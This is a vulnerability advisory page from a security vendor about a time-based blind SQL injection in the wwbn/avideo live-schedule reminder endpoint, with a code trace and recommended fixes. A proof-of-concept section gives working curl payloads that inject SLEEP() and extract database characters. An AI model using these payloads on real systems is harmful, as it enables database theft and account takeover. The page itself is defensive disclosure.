Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

GHSA-pvw4-p2jm-chjm wwbn/avideo

HIGHFix: WWBN/AVideo@75d4578

GHSA-pvw4-p2jm-chjm is a high-severity (CVSS 8.1) SQL Injection vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.

AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()

Also known asCVE-2026-33651
Published
Mar 25, 2026
Updated
Mar 25, 2026
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-pvw4-p2jm-chjm.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-pvw4-p2jm-chjm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The remindMe.json.php endpoint passes $_REQUEST['live_schedule_id'] through multiple functions without sanitization until it reaches Scheduler_commands::getAllActiveOrToRepeat(), which directly concatenates it into a SQL LIKE clause. Although intermediate functions (new Live_schedule(), getUsers_idOrCompany()) apply intval() internally, they do so on local copies within ObjectYPT::getFromDb(), leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.

Details

The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:

Step 1 — User input (no sanitization): plugin/Live/remindMe.json.php:15:

$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Step 2 — Auth check passes for any user: plugin/Live/Live.php:4126:

if (!User::isLogged()) {
    $obj->msg = __('Must be logged');
    return $obj;
}

Step 3 — intval() applied only internally, original variable unchanged: plugin/Live/Live.php:4141-4143:

$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only
$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same

objects/Object.php:84 (inside getFromDb()):

$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable

With input like 1" AND SLEEP(5) --, intval() extracts 1, loads schedule ID 1 successfully. The caller's $live_schedule_id remains 1" AND SLEEP(5) --.

Step 4 — Tainted value flows to type string construction: plugin/Live/Live.php:4152Live.php:4193-4194:

$reminders = self::getLiveScheduleReminders($live_schedule_id);

// getLiveScheduleReminders calls:
$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);
// which builds: "LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}"
return Scheduler_commands::getAllActiveOrToRepeat($type);

Step 5 — SQL injection sink: plugin/Scheduler/Objects/Scheduler_commands.php:340-347:

$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status='a' OR status='r') ";
if(!empty($type)){
    $sql .= ' AND `type` LIKE "'.$type.'%" ';  // LINE 343: direct concatenation
}
$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization

PoC

Prerequisites: Any authenticated user session, at least one live_schedule record (ID=1).

Step 1 — Baseline request (should return quickly):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  "http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10"

Expected: response in ~0.1-0.5s

Step 2 — Time-based injection (5 second delay):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND SLEEP(5) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

Expected: response delayed by ~5 seconds, confirming injection.

The resulting SQL becomes:

SELECT * FROM scheduler_commands
WHERE (status='a' OR status='r')
  AND `type` LIKE "LiveScheduleReminder_123_1" AND SLEEP(5) -- %"

Step 3 — Data extraction (example: first character of database user):

curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND IF(SUBSTRING(user(),1,1)="r",SLEEP(5),0) -- ' \
  --data-urlencode 'minutesEarlier=10' \
  "http://target/plugin/Live/remindMe.json.php"

If the response is delayed 5 seconds, the first character of user() is r.

Impact

  • Full database read: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.
  • Data modification: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.
  • Account takeover: Extracted admin password hashes or session tokens enable full platform compromise.
  • Low barrier: Only requires a basic authenticated account — no admin privileges needed.

Recommended Fix

Option 1 — Parameterize the query in Scheduler_commands::getAllActiveOrToRepeat():

plugin/Scheduler/Objects/Scheduler_commands.php:335-347:

public static function getAllActiveOrToRepeat($type='') {
    global $global;
    if (!static::isTableInstalled()) {
        return false;
    }
    $sql = "SELECT * FROM " . static::getTableName() . " WHERE (status=? OR status=?) ";
    $formats = "ss";
    $values = [self::$statusActive, self::$statusRepeat];

    if(!empty($type)){
        $sql .= ' AND `type` LIKE ? ';
        $formats .= "s";
        $values[] = $type . "%";
    }

    $sql .= self::getSqlFromPost();
    $res = sqlDAL::readSql($sql, $formats, $values);
    $fullData = sqlDAL::fetchAllAssoc($res);
    sqlDAL::close($res);
    $rows = array();
    if ($res != false) {
        foreach ($fullData as $row) {
            $rows[] = $row;
        }
    }
    return $rows;
}

Option 2 — Additionally sanitize at the entry point:

plugin/Live/remindMe.json.php:15 (defense in depth):

$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);

Both fixes should be applied for defense in depth.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-pvw4-p2jm-chjm yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-pvw4-p2jm-chjm can be triaged on real exposure rather than presence alone.

Tailored to GHSA-pvw4-p2jm-chjm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. ## Details The vul
O3 Security · Impact-Aware SCA

Is GHSA-pvw4-p2jm-chjm in your dependencies?

O3 Security finds GHSA-pvw4-p2jm-chjm across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-pvw4-p2jm-chjm: High 8.1 severity | O3 Security